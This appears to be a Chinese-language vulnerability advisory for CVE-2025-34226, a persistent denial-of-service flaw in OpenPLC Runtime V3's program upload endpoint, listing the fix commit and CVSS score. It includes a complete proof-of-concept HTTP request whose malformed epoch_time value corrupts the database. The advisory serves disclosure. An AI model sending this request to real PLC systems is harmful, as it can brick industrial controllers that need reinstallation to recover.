
OpenPLC运行时在/upload-program-action端点存在持久性拒绝服务(DoS)漏洞。
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2025-34226 |
| 影响 | OpenPLC 运行时 V3 |
| 修复版本 | (提交) 095ee09623dd229b64ad3a1db38a901a3772f6fc |
| 严重程度 | 高 |
| CVSS 4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N 7.1(高) |
| CWE | CWE-664 资源生命周期控制不当,CWE-20 输入验证不恰当 |
OpenPLC 运行时在 /upload-program-action 端点存在持久化拒绝服务(DoS)漏洞。
低权限认证用户通过修改上传程序时的 epoch_time 参数,可破坏后端数据库。
该破坏最初导致关键页面无法使用,最终使整个运行时无法启动,实际上导致应用变砖,必须重新安装才能恢复。
/upload-program-action 端点接收一个 epoch_time 字段,该字段未经验证直接写入数据库。
当该字段被设为构造的或毫无意义的值(例如 1758627838 或格式错误的数据)时,OpenPLC 存储了不一致的状态。
在运行时重新加载或重启时,应用查询损坏的行并遇到 NoneType 对象 → 致命崩溃(TypeError: 'NoneType' object is not subscriptable)。
POST /upload-program-action HTTP/1.1
Host: TARGET:8080
Content-Type: multipart/form-data; boundary=----BOUNDARY
Cookie: session=[valid-session-cookie]
------BOUNDARY
Content-Disposition: form-data; name="prog_name"
test
------BOUNDARY
Content-Disposition: form-data; name="prog_descr"
test
------BOUNDARY
Content-Disposition: form-data; name="prog_file"; filename="demo.st"
Content-Type: text/plain
PROGRAM demo
END_PROGRAM
------BOUNDARY
Content-Disposition: form-data; name="epoch_time"
"Just edit here and it will work (e.g "Hello !")"
------BOUNDARY--
/programs 上传程序。发现者: Eyodav